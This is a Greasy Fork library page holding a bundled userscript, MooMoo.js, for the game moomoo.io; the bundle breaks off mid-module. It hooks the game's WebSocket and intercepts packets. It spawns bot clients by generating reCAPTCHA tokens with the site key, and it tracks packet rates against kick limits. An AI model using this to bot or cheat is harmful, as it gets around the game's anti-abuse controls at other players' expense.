MooMoo.js

is moomoo.js

สคริปต์นี้ไม่ควรถูกติดตั้งโดยตรง มันเป็นคลังสำหรับสคริปต์อื่น ๆ เพื่อบรรจุด้วยคำสั่งเมทา // @require https://update.greasyfork.org/scripts/512454/1464055/MooMoojs.js

// ==UserStyle==
// @name         MooMoo.js
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  idk.
// @author       lol
// @match        *://*.moomoo.io/*
// @grant        none
// ==/UserStyle==
(() => {
    "use strict";
    var __webpack_modules__ = {
        366: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            exports.MooMoo = void 0;
            let func = Function.prototype;
            exports.MooMoo = func[69];
            if (!exports.MooMoo) {
                const Game = __webpack_require__(3607).Z;
                const updateHookPosition = __webpack_require__(8351).updateHookPosition;
                const initRendering = __webpack_require__(5919).Z;
                exports.MooMoo = new Game;
                Object.defineProperty(Function.prototype, 69, {
                    get() {
                        return exports.MooMoo;
                    }
                });
                let sym = Symbol();
                Object.defineProperty(Object.prototype, "x", {
                    set(data) {
                        this[sym] = data;
                        updateHookPosition.call(this, data);
                    },
                    get() {
                        return this[sym];
                    }
                });
                initRendering();
            }
        },
        3607: (__unused_webpack_module, exports, __webpack_require__) => {
            var __webpack_unused_export__;
            __webpack_unused_export__ = {
                value: true
            };
            const EventEmitter_1 = __webpack_require__(8516);
            const hookWS_1 = __webpack_require__(550);
            const PlayerManager_1 = __webpack_require__(597);
            const LeaderboardManager_1 = __webpack_require__(5852);
            const ObjectManager_1 = __webpack_require__(4e3);
            const commandManager_1 = __webpack_require__(8350);
            const PacketManager_1 = __webpack_require__(2659);
            const BotManager_1 = __webpack_require__(484);
            const decode_js_1 = __webpack_require__(2298);
            const encode_js_1 = __webpack_require__(112);
            const UTILS_1 = __webpack_require__(8183);
            const PacketInterceptor_1 = __webpack_require__(4190);
            class Game extends EventEmitter_1.default {
                constructor() {
                    super();
                    this.teams = [];
                    this.myPlayer = {};
                    this.statistics = {};
                    this.DidInit = false;
                    this.GamePlayerManager = new PlayerManager_1.default;
                    this.ActivePlayerManager = new PlayerManager_1.default;
                    this.LeaderboardManager = new LeaderboardManager_1.default;
                    this.GameObjectManager = new ObjectManager_1.default;
                    this.CommandManager = new commandManager_1.default;
                    this.PacketManager = new PacketManager_1.default;
                    this.PacketInterceptor = new PacketInterceptor_1.default;
                    this.BotManager = BotManager_1.default.instance;
                    this.UTILS = new UTILS_1.default;
                    this.vars = {};
                    this.msgpack = {};
                    this.msgpack.decode = decode_js_1.default;
                    this.msgpack.encode = encode_js_1.default;
                    this.vars.gameLoaded = false;
                }
                debug(message) {
                    this.emit("debug", message);
                }
            }
            exports.Z = Game;
            (0, hookWS_1.default)();
        },
        5852: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const chunk_1 = __webpack_require__(627);
            const app_1 = __webpack_require__(366);
            const Player_1 = __webpack_require__(9347);
            class Leaderboardmanager {
                constructor() {
                    this.leaderboard = new Map;
                }
                updateLeaderboard(data) {
                    let arr = (0, chunk_1.default)(data, 3);
                    let players = data.length / 3;
                    arr.forEach(((playerData, index) => {
                        let tmpPlayer = app_1.MooMoo.GamePlayerManager.getPlayerBySid(playerData[0]);
                        if (!tmpPlayer) {
                            tmpPlayer = new Player_1.default(playerData[0]);
                            tmpPlayer.sid = playerData[0];
                            tmpPlayer.name = playerData[1];
                            app_1.MooMoo.GamePlayerManager.addPlayer(tmpPlayer);
                        }
                        this.leaderboard.set(index + 1, {
                            player: tmpPlayer,
                            sid: playerData[0],
                            name: playerData[1],
                            score: playerData[2]
                        });
                    }));
                }
                clearLeaderboard() {
                    this.leaderboard = new Map;
                }
            }
            exports["default"] = Leaderboardmanager;
        },
        4e3: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            const GameObject_1 = __webpack_require__(7809);
            class ObjectManager {
                constructor() {
                    this.objects = new Map;
                }
                addObject(obj) {
                    let tmpObj = app_1.MooMoo.GameObjectManager.getGameObjectBySid(obj.sid);
                    if (!tmpObj) {
                        tmpObj = new GameObject_1.default(obj.sid);
                    }
                    tmpObj.x = obj.x;
                    tmpObj.y = obj.y;
                    tmpObj.ownerSid = obj.ownerSid;
                    tmpObj.type = obj.type;
                    tmpObj.sid = obj.sid;
                    this.objects.set(obj.sid, tmpObj);
                }
                getGameObjectBySid(sid) {
                    return this.objects.get(sid);
                }
                getObjectsByOwnerSid(sid) {
                    let objs = [];
                    this.objects.forEach((obj => {
                        if (obj.ownerSid == sid) {
                            objs.push(obj);
                        }
                    }));
                    return objs;
                }
                removeObjectBySid(sid) {
                    this.objects.delete(sid);
                }
                removeObjectsByOwnerSid(sid) {
                    this.objects.forEach((obj => {
                        if (obj.ownerSid == sid) {
                            this.objects.delete(obj.sid);
                        }
                    }));
                }
            }
            exports["default"] = ObjectManager;
        },
        4190: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const hookWS_1 = __webpack_require__(550);
            class PacketInterceptor {
                constructor() {
                    this.clientCallbacks = new Map;
                    this.serverCallbacks = new Map;
                    this.lastCallbackId = 0;
                }
                addCallback(type, callback) {
                    let callbacks;
                    if (type === "client") {
                        callbacks = this.clientCallbacks;
                    } else if (type === "server") {
                        callbacks = this.serverCallbacks;
                    }
                    const callbackId = this.lastCallbackId++;
                    callbacks.set(callbackId, callback);
                    return callbackId;
                }
                removeCallback(callbackId) {
                    this.clientCallbacks.delete(callbackId);
                    this.serverCallbacks.delete(callbackId);
                }
                applyClientCallbacks(packet) {
                    if (!this.clientCallbacks.size) return packet;
                    for (const [id, callback] of this.clientCallbacks) {
                        packet = callback(packet) || packet;
                    }
                    return packet;
                }
                applyServerCallbacks(packet) {
                    if (!this.serverCallbacks.size) return packet;
                    for (const [id, callback] of this.serverCallbacks) {
                        packet = callback(packet) || packet;
                    }
                    return packet;
                }
                getOriginalServerCallback() {
                    return hookWS_1.onmessagecallback;
                }
            }
            exports["default"] = PacketInterceptor;
        },
        2659: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const EventEmitter_1 = __webpack_require__(8516);
            class PacketManager {
                constructor() {
                    this._packetCountPerMinute = 0;
                    this._packetCountPerSecond = 0;
                    this._packetTime = 60;
                    this._packetLimitPerMinute = 5400;
                    this._packetLimitPerSecond = 120;
                    this._eventEmitter = new EventEmitter_1.default;
                }
                addPacket() {
                    if (!this._intervalIdPerMinute) {
                        this._startTimerPerMinute();
                    }
                    if (!this._intervalIdPerSecond) {
                        this._startTimerPerSecond();
                    }
                    this._packetCountPerSecond++;
                    this._packetCountPerMinute++;
                    const kickPercentagePerMinute = this.getKickPercentagePerMinute();
                    if (kickPercentagePerMinute >= 100) {
                        this._eventEmitter.emit("Kick", kickPercentagePerMinute);
                    }
                }
                getKickPercentagePerMinute() {
                    return this._packetCountPerMinute / this._packetLimitPerMinute * 100;
                }
                getKickPercentagePerSecond() {
                    return this._packetCountPerSecond / this._packetLimitPerSecond * 100;
                }
                getPacketCountPerMinute() {
                    return this._packetCountPerMinute;
                }
                getPacketCountPerSecond() {
                    return this._packetCountPerSecond;
                }
                getPacketTime() {
                    return this._packetTime;
                }
                _startTimerPerMinute() {
                    this._intervalIdPerMinute = setInterval((() => {
                        this._resetPacketCountPerMinute();
                    }), 6e4);
                }
                _startTimerPerSecond() {
                    this._intervalIdPerSecond = setInterval((() => {
                        if (this._packetCountPerSecond > this._packetLimitPerSecond) {
                            this._eventEmitter.emit("Kick", this.getKickPercentagePerSecond());
                        }
                        this._resetPacketCountPerSecond();
                    }), 1e3);
                }
                _resetPacketCountPerMinute() {
                    this._packetCountPerMinute = 0;
                    this._packetTime = 60;
                }
                _resetPacketCountPerSecond() {
                    this._packetCountPerSecond = 0;
                }
            }
            exports["default"] = PacketManager;
        },
        597: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            class PlayerManager {
                constructor() {
                    this.players = [];
                }
                addPlayer(player) {
                    this.players.push(player);
                }
                removePlayer(player) {
                    this.players.splice(this.players.indexOf(player), 1);
                }
                removePlayerBySid(sid) {
                    this.players.splice(this.players.findIndex((player => player.sid === sid)), 1);
                }
                removePlayerById(id) {
                    this.players.splice(this.players.findIndex((player => player.id === id)), 1);
                }
                getPlayerBySid(sid) {
                    return this.players.find((player => player.sid === sid));
                }
                getPlayerById(id) {
                    return this.players.find((player => player.id === id));
                }
                getPlayerByName(name) {
                    let players = this.players.filter((player => player.name === name));
                    if (players.length > 1) {
                        return players;
                    } else return players[0];
                }
                clearPlayers() {
                    this.players = [];
                }
                updatePlayer(sid, data) {
                    let player = this.getPlayerBySid(sid);
                    if (player) {
                        Object.assign(player, data);
                    }
                }
                getEnemies() {
                    return this.players.filter((player => {
                        if (player.id !== app_1.MooMoo.myPlayer.id) {
                            if (player.team === null) {
                                return true;
                            }
                            if (player.team !== app_1.MooMoo.myPlayer.team) {
                                return true;
                            }
                        }
                    }));
                }
                getTeammates() {
                    return this.players.filter((player => {
                        if (player.id !== app_1.MooMoo.myPlayer.id) {
                            if (player.team === app_1.MooMoo.myPlayer.team) {
                                return true;
                            }
                        }
                    }));
                }
                getClosestEnemy() {
                    let enemies = this.getEnemies();
                    let closest = enemies[0];
                    if (!enemies) return null;
                    enemies.forEach((enemy => {
                        if (app_1.MooMoo.UTILS.getDistanceBetweenTwoPoints(app_1.MooMoo.myPlayer.x, app_1.MooMoo.myPlayer.y, enemy.x, enemy.y) < app_1.MooMoo.UTILS.getDistanceBetweenTwoPoints(app_1.MooMoo.myPlayer.x, app_1.MooMoo.myPlayer.y, closest.x, closest.y)) {
                            closest = enemy;
                        }
                    }));
                    return closest;
                }
                getClosestTeammate() {
                    let teammates = this.getTeammates();
                    let closest = teammates[0];
                    if (!teammates) return null;
                    teammates.forEach((teammate => {
                        if (app_1.MooMoo.UTILS.getDistanceBetweenTwoPoints(app_1.MooMoo.myPlayer.x, app_1.MooMoo.myPlayer.y, teammate.x, teammate.y) < app_1.MooMoo.UTILS.getDistanceBetweenTwoPoints(app_1.MooMoo.myPlayer.x, app_1.MooMoo.myPlayer.y, closest.x, closest.y)) {
                            closest = teammate;
                        }
                    }));
                    return closest;
                }
                getClosestPlayer() {
                    let closest = this.players[0];
                    if (!this.players) return null;
                    this.players.forEach((player => {
                        if (app_1.MooMoo.UTILS.getDistanceBetweenTwoPoints(app_1.MooMoo.myPlayer.x, app_1.MooMoo.myPlayer.y, player.x, player.y) < app_1.MooMoo.UTILS.getDistanceBetweenTwoPoints(app_1.MooMoo.myPlayer.x, app_1.MooMoo.myPlayer.y, closest.x, closest.y)) {
                            closest = player;
                        }
                    }));
                    return closest;
                }
                getClosestEnemyToPlayer(player) {
                    let enemies = this.getEnemies();
                    let closest = enemies[0];
                    if (!enemies) return null;
                    enemies.forEach((enemy => {
                        if (app_1.MooMoo.UTILS.getDistanceBetweenTwoPoints(player.x, player.y, enemy.x, enemy.y) < app_1.MooMoo.UTILS.getDistanceBetweenTwoPoints(player.x, player.y, closest.x, closest.y)) {
                            closest = enemy;
                        }
                    }));
                    return closest;
                }
                getClosestEnemyAngle() {
                    let enemy = this.getClosestEnemy();
                    if (!enemy) return null;
                    return app_1.MooMoo.UTILS.getAngleBetweenTwoPoints(app_1.MooMoo.myPlayer.x, app_1.MooMoo.myPlayer.y, enemy.x, enemy.y);
                }
                getClosestEnemyDistance() {
                    let enemy = this.getClosestEnemy();
                    if (!enemy) return null;
                    return app_1.MooMoo.UTILS.getDistanceBetweenTwoPoints(app_1.MooMoo.myPlayer.x, app_1.MooMoo.myPlayer.y, enemy.x, enemy.y);
                }
            }
            exports["default"] = PlayerManager;
        },
        8183: (__unused_webpack_module, exports) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            class UTILS {
                static getDistanceBetweenTwoPoints(x1, y1, x2, y2) {
                    return Math.sqrt(Math.pow(x2 - x1, 2) + Math.pow(y2 - y1, 2));
                }
                static getAngleBetweenTwoPoints(x1, y1, x2, y2) {
                    return Math.atan2(y2 - y1, x2 - x1);
                }
                static atan2(x1, y1, x2, y2) {
                    return Math.atan2(y2 - y1, x2 - x1);
                }
                constructor() {
                    this.getDistanceBetweenTwoPoints = UTILS.getDistanceBetweenTwoPoints;
                    this.dist = UTILS.getDistanceBetweenTwoPoints;
                    this.distance = UTILS.getDistanceBetweenTwoPoints;
                    this.atan2 = UTILS.atan2;
                    this.angle = UTILS.atan2;
                    this.getAngleBetweenTwoPoints = UTILS.getAngleBetweenTwoPoints;
                }
            }
            exports["default"] = UTILS;
        },
        8350: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const Command_1 = __webpack_require__(1552);
            class CommandManager {
                constructor() {
                    this.commands = {};
                    this.prefix = "/";
                }
                setPrefix(prefix) {
                    this.prefix = prefix;
                }
                registerCommand(name, run) {
                    let command = new Command_1.default(name, run);
                    this.commands[name] = command;
                }
                unregisterCommand(name) {
                    delete this.commands[name];
                }
            }
            exports["default"] = CommandManager;
        },
        8516: (__unused_webpack_module, exports) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            class EventEmitter {
                constructor() {
                    this._listeners = {};
                }
                on(event, listener) {
                    if (!this._listeners[event]) {
                        this._listeners[event] = [];
                    }
                    this._listeners[event].push(listener);
                }
                once(event, listener) {
                    this.on(event, (function g(...args) {
                        this.off(event, g);
                        listener(...args);
                    }));
                }
                emit(event, ...args) {
                    if (this._listeners[event]) {
                        this._listeners[event].forEach((listener => listener(...args)));
                    }
                }
                addEventListener(event, listener) {
                    this.on(event, listener);
                }
            }
            exports["default"] = EventEmitter;
        },
        3748: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function cacheItems() {
                app_1.MooMoo.myPlayer.inventory = {};
                const inventoryCategories = [ {
                    category: "primary",
                    start: 0,
                    end: 9
                }, {
                    category: "secondary",
                    start: 9,
                    end: 16
                }, {
                    category: "food",
                    start: 16,
                    end: 19,
                    subtract: true
                }, {
                    category: "wall",
                    start: 19,
                    end: 22,
                    subtract: true
                }, {
                    category: "spike",
                    start: 22,
                    end: 26,
                    subtract: true
                }, {
                    category: "mill",
                    start: 26,
                    end: 29,
                    subtract: true
                }, {
                    category: "mine",
                    start: 29,
                    end: 31,
                    subtract: true
                }, {
                    category: "boostPad",
                    start: 31,
                    end: 33,
                    subtract: true
                }, {
                    category: "trap",
                    start: 31,
                    end: 33,
                    subtract: true
                }, {
                    category: "turret",
                    start: 33,
                    end: 36,
                    subtract: true
                }, {
                    category: "spawnPad",
                    start: 36,
                    end: 37,
                    subtract: true
                } ];
                for (let i = 0; i < inventoryCategories.length; i++) {
                    const {category, start, end, subtract} = inventoryCategories[i];
                    for (let j = start; j < end; j++) {
                        const element = document.getElementById(`actionBarItem${j}`);
                        if (element && element.offsetParent !== null) {
                            app_1.MooMoo.myPlayer.inventory[category] = subtract ? j - 16 : j;
                            break;
                        }
                    }
                }
            }
            exports["default"] = cacheItems;
        },
        627: (__unused_webpack_module, exports) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            function chunk(arr, size) {
                let chunks = [];
                for (let i = 0; i < arr.length; i += size) {
                    chunks.push(arr.slice(i, i + size));
                }
                return chunks;
            }
            exports["default"] = chunk;
        },
        9127: function(__unused_webpack_module, exports, __webpack_require__) {
            var __awaiter = this && this.__awaiter || function(thisArg, _arguments, P, generator) {
                function adopt(value) {
                    return value instanceof P ? value : new P((function(resolve) {
                        resolve(value);
                    }));
                }
                return new (P || (P = Promise))((function(resolve, reject) {
                    function fulfilled(value) {
                        try {
                            step(generator.next(value));
                        } catch (e) {
                            reject(e);
                        }
                    }
                    function rejected(value) {
                        try {
                            step(generator["throw"](value));
                        } catch (e) {
                            reject(e);
                        }
                    }
                    function step(result) {
                        result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);
                    }
                    step((generator = generator.apply(thisArg, _arguments || [])).next());
                }));
            };
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const EventEmitter_1 = __webpack_require__(8516);
            const ServerManager_1 = __webpack_require__(4455);
            const Server_1 = __webpack_require__(3292);
            const app_1 = __webpack_require__(366);
            class Bot extends EventEmitter_1.default {
                constructor(configurable = false, options) {
                    super();
                    this.connected = false;
                    if (!configurable) {
                        this.name = "Bot";
                        this.skin = 0;
                        this.moofoll = false;
                    } else {
                        this.name = options.name;
                        this.skin = options.skin;
                        this.moofoll = options.moofoll;
                    }
                }
                generateToken() {
                    return __awaiter(this, void 0, void 0, (function*() {
                        try {
                            const token = yield window.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {
                                action: "homepage"
                            });
                            return token;
                        } catch (error) {
                            throw error;
                        }
                    }));
                }
                join(server) {
                    return __awaiter(this, void 0, void 0, (function*() {
                        switch (typeof server) {
                          case "string":
                            {
                                let {region, index} = ServerManager_1.default.parseServer(server);
                                let targetserver = new Server_1.default(region, index);
                                this.recaptchaToken = yield this.generateToken();
                                targetserver.joinServer(this);
                                break;
                            }

                          case "object":
                            {
                                if (Array.isArray(server)) {
                                    let [region, index] = server;
                                    let targetserver = new Server_1.default(region, index);
                                    this.recaptchaToken = yield this.generateToken();
                                    targetserver.joinServer(this);
                                } else {
                                    let {region, index} = server;
                                    let targetserver = new Server_1.default(region, index);
                                    this.recaptchaToken = yield this.generateToken();
                                    targetserver.joinServer(this);
                                }
                                break;
                            }
                        }
                    }));
                }
                spawn() {
                    this.ws.send(app_1.MooMoo.msgpack.encode([ "sp", [ {
                        name: this.name,
                        skin: this.skin,
                        moofoll: this.moofoll
                    } ] ]));
                }
                onConnect(server) {
                    this.emit("connected", server);
                    this.connected = true;
                }
                sendPacket(packet) {
                    let data = Array.prototype.slice.call(arguments, 1);
                    this.ws.send(app_1.MooMoo.msgpack.encode([ packet, data ]));
                }
            }
            exports["default"] = Bot;
        },
        484: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const Bot_1 = __webpack_require__(9127);
            class BotManager {
                constructor() {
                    this._bots = new Map;
                    this._botIdCounter = 0;
                    this.Bot = Bot_1.default;
                }
                static get instance() {
                    if (!BotManager._instance) {
                        BotManager._instance = new BotManager;
                    }
                    return BotManager._instance;
                }
                addBot(bot) {
                    const botId = this._botIdCounter++;
                    bot.id = botId;
                    this._bots.set(botId, bot);
                    return botId;
                }
                removeBot(botId) {
                    this._bots.delete(botId);
                }
                getBot(botId) {
                    return this._bots.get(botId);
                }
            }
            exports["default"] = BotManager;
        },
        3292: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const ServerManager_1 = __webpack_require__(4455);
            const app_1 = __webpack_require__(366);
            class Server {
                constructor(region, index) {
                    this._region = region;
                    this._index = index;
                    this.parseServerData();
                }
                get region() {
                    return this._region;
                }
                set region(value) {
                    this._region = value;
                }
                get index() {
                    return this._index;
                }
                set index(value) {
                    this._index = value;
                }
                parseServerData() {
                    let region = "vultr:" + this._region.toString();
                    let servers = window.vultr.servers;
                    let targetServer;
                    for (let i = 0; i < servers.length; i++) {
                        let currentServer = servers[i];
                        if (currentServer.region === region && currentServer.index === this._index) {
                            targetServer = currentServer;
                            break;
                        }
                    }
                    if (!targetServer) {
                        console.log("Server not found");
                        return;
                    }
                    this.name = targetServer.region + ":" + targetServer.index;
                    this.ip = targetServer.ip;
                }
                getWebSocketUrl(token) {
                    if (this.ip && token) {
                        return "wss://ip_" + this.ip + ".moomoo.io:8008/?gameIndex=0&token=" + token;
                    } else {
                        let server = ServerManager_1.default.instance.getCurrentServer();
                        if (server) {
                            return "wss://ip_" + server.ip + ".moomoo.io:8008/?gameIndex=0&token=" + token;
                        }
                    }
                }
                joinServer(instance) {
                    let wsURL = this.getWebSocketUrl(instance.recaptchaToken);
                    const ws = new WebSocket(wsURL);
                    ws.binaryType = "arraybuffer";
                    ws.onopen = () => {
                        instance.ws = ws;
                    };
                    ws.addEventListener("message", (event => {
                        let data = new Uint8Array(event.data);
                        let encoded = app_1.MooMoo.msgpack.decode(data);
                        let [packet, [...packetData]] = encoded;
                        if (packet == "io-init") {
                            instance.onConnect(this);
                        }
                    }));
                }
            }
            exports["default"] = Server;
        },
        4455: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const Server_1 = __webpack_require__(3292);
            class ServerManager {
                constructor() {
                    this.index = 0;
                    this.region = 0;
                    this.name = "";
                    this.ip = "";
                    this.players = 0;
                    this.wsurl = "";
                }
                static get instance() {
                    if (!ServerManager._instance) {
                        ServerManager._instance = new ServerManager;
                    }
                    return ServerManager._instance;
                }
                initalize() {
                    this.calculateServer();
                }
                getCurrentServer() {
                    let currentServer = new Server_1.default(this.region, this.index);
                    return currentServer;
                }
                calculateServer() {
                    let urlData = this.extractRegionAndIndex();
                    if (urlData.region && urlData.index) {
                        this.region = urlData.region;
                        this.index = urlData.index;
                    }
                }
                extractRegionAndIndex() {
                    const match = window.location.href.match(/server=(\d+):(\d+)/);
                    if (match) {
                        const region = parseInt(match[1], 10);
                        const index = parseInt(match[2], 10);
                        return {
                            region,
                            index
                        };
                    }
                    return {
                        region: null,
                        index: null
                    };
                }
                static parseServer(str) {
                    let parts = str.split(":");
                    let region = parseInt(parts[0], 10);
                    let index = parseInt(parts[1], 10);
                    return {
                        region,
                        index
                    };
                }
            }
            exports["default"] = ServerManager;
        },
        8106: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            const accessories_1 = __webpack_require__(2416);
            function equipAccessoryById(id) {
                let accessoryexists = false;
                accessories_1.default.find((accessory => {
                    if (accessory.id == id) {
                        accessoryexists = true;
                        app_1.MooMoo.sendPacket("13c", 1, id, 1);
                    }
                }));
                if (!accessoryexists) {
                    try {
                        throw new Error("Error at equipAccessoryById: Accessory with id " + id + " does not exist");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            function equipAccessoryByName(name) {
                let accessoryexists = false;
                accessories_1.default.find((accessory => {
                    if (accessory.name == name) {
                        accessoryexists = true;
                        app_1.MooMoo.sendPacket("13c", 1, accessory.id, 1);
                    }
                }));
                if (!accessoryexists) {
                    try {
                        throw new Error("Error at equipAccessoryByName: Accessory with name " + name + " does not exist");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            function equipAccessory(accessoryData) {
                if (typeof accessoryData == "number") {
                    equipAccessoryById(accessoryData);
                } else if (typeof accessoryData == "string") {
                    equipAccessoryByName(accessoryData);
                } else {
                    try {
                        throw new Error("Error at equipAccessory: accessoryData must be a number or string");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            exports["default"] = equipAccessory;
        },
        3269: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            const hats_1 = __webpack_require__(3212);
            function buyHatById(id) {
                let hatexists = false;
                hats_1.default.find((hat => {
                    if (hat.id == id) {
                        hatexists = true;
                        app_1.MooMoo.sendPacket("13c", 1, id, 0);
                    }
                }));
                if (!hatexists) {
                    try {
                        throw new Error("Error at buyHatById: Hat with id " + id + " does not exist");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            function buyHatByName(name) {
                let hatexists = false;
                hats_1.default.find((hat => {
                    if (hat.name == name) {
                        hatexists = true;
                        app_1.MooMoo.sendPacket("13c", 1, hat.id, 0);
                    }
                }));
                if (!hatexists) {
                    try {
                        throw new Error("Error at buyHatByName: Hat with name " + name + " does not exist");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            function buyHat(hatData) {
                if (typeof hatData == "number") {
                    buyHatById(hatData);
                } else if (typeof hatData == "string") {
                    buyHatByName(hatData);
                } else {
                    try {
                        throw new Error("Error at buyHat: hatData must be a number or string");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            exports["default"] = buyHat;
        },
        4218: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function chat(message) {
                app_1.MooMoo.sendPacket("ch", message);
            }
            exports["default"] = chat;
        },
        8101: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            const accessories_1 = __webpack_require__(2416);
            function equipAccessoryById(id) {
                let accessoryexists = false;
                accessories_1.default.find((accessory => {
                    if (accessory.id == id) {
                        accessoryexists = true;
                        app_1.MooMoo.sendPacket("13c", 0, id, 1);
                    }
                }));
                if (!accessoryexists) {
                    try {
                        throw new Error("Error at equipAccessoryById: Accessory with id " + id + " does not exist");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            function equipAccessoryByName(name) {
                let accessoryexists = false;
                accessories_1.default.find((accessory => {
                    if (accessory.name == name) {
                        accessoryexists = true;
                        app_1.MooMoo.sendPacket("13c", 0, accessory.id, 1);
                    }
                }));
                if (!accessoryexists) {
                    try {
                        throw new Error("Error at equipAccessoryByName: Accessory with name " + name + " does not exist");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            function equipAccessory(accessoryData) {
                if (typeof accessoryData == "number") {
                    equipAccessoryById(accessoryData);
                } else if (typeof accessoryData == "string") {
                    equipAccessoryByName(accessoryData);
                } else {
                    try {
                        throw new Error("Error at equipAccessory: accessoryData must be a number or string");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            exports["default"] = equipAccessory;
        },
        420: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            const hats_1 = __webpack_require__(3212);
            function equipHatById(id) {
                let hatexists = false;
                hats_1.default.find((hat => {
                    if (hat.id == id) {
                        hatexists = true;
                        app_1.MooMoo.sendPacket("13c", 0, id, 0);
                    }
                }));
                if (!hatexists) {
                    try {
                        throw new Error("Error at equipHatById: Hat with id " + id + " does not exist");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            function equipHatByName(name) {
                let hatexists = false;
                hats_1.default.find((hat => {
                    if (hat.name == name) {
                        hatexists = true;
                        app_1.MooMoo.sendPacket("13c", 0, hat.id, 0);
                    }
                }));
                if (!hatexists) {
                    try {
                        throw new Error("Error at equipHatByName: Hat with name " + name + " does not exist");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            function equipHat(hatData) {
                if (typeof hatData == "number") {
                    equipHatById(hatData);
                } else if (typeof hatData == "string") {
                    equipHatByName(hatData);
                } else {
                    try {
                        throw new Error("Error at equipHat: hatData must be a number or string");
                    } catch (e) {
                        console.log(e);
                    }
                }
            }
            exports["default"] = equipHat;
        },
        3044: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function hit(angle = null) {
                app_1.MooMoo.sendPacket("c", 1, angle);
                app_1.MooMoo.sendPacket("c", 0, angle);
            }
            exports["default"] = hit;
        },
        8595: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function place(id, angle) {
                let weapon = app_1.MooMoo.myPlayer.weaponIndex;
                app_1.MooMoo.sendPacket("5", id, false);
                app_1.MooMoo.sendPacket("c", 1, angle);
                app_1.MooMoo.sendPacket("c", 0, angle);
                app_1.MooMoo.sendPacket("5", weapon, true);
            }
            exports["default"] = place;
        },
        3296: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function unequipAccessory() {
                app_1.MooMoo.sendPacket("13c", 0, 0, 1);
            }
            exports["default"] = unequipAccessory;
        },
        5088: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            function unequipHat() {
                app_1.MooMoo.sendPacket("13c", 0, 0, 0);
            }
            exports["default"] = unequipHat;
        },
        6157: (__unused_webpack_module, exports) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            class Alliance {
                constructor(leader, name) {
                    this.Leader = leader;
                    this.Name = name;
                }
                setAliancePlayers(players) {
                    this.Members = players;
                }
            }
            exports["default"] = Alliance;
        },
        1552: (__unused_webpack_module, exports, __webpack_require__) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            const app_1 = __webpack_require__(366);
            class Command {
                constructor(name, run) {
                    this.name = name;
                    this.run = run;
                }
                reply(message) {
                    app_1.MooMoo.myPlayer.chat(message);
                }
            }
            exports["default"] = Command;
        },
        7809: (__unused_webpack_module, exports) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            class GameObject {
                constructor(sid) {
                    this.sid = sid;
                }
            }
            exports["default"] = GameObject;
        },
        9347: (__unused_webpack_module, exports) => {
            Object.defineProperty(exports, "__esModule", {
                value: true
            });
            class Player {
                constructor(sid) {
                    this.sid = sid;
                    this.resources = {
                        wood: 0,
                        stone: 0,
                        food: 0,
                        points: 0,
                        kills: 0
                    };
                }
            }
            exports["default"] = Player;
        },
        5919: (__unused_webpack_module, exports, __webpack_require__) => {
            var __webpack_unused_export__;
            __webpack_unused_export__ = {
                value: true
            };
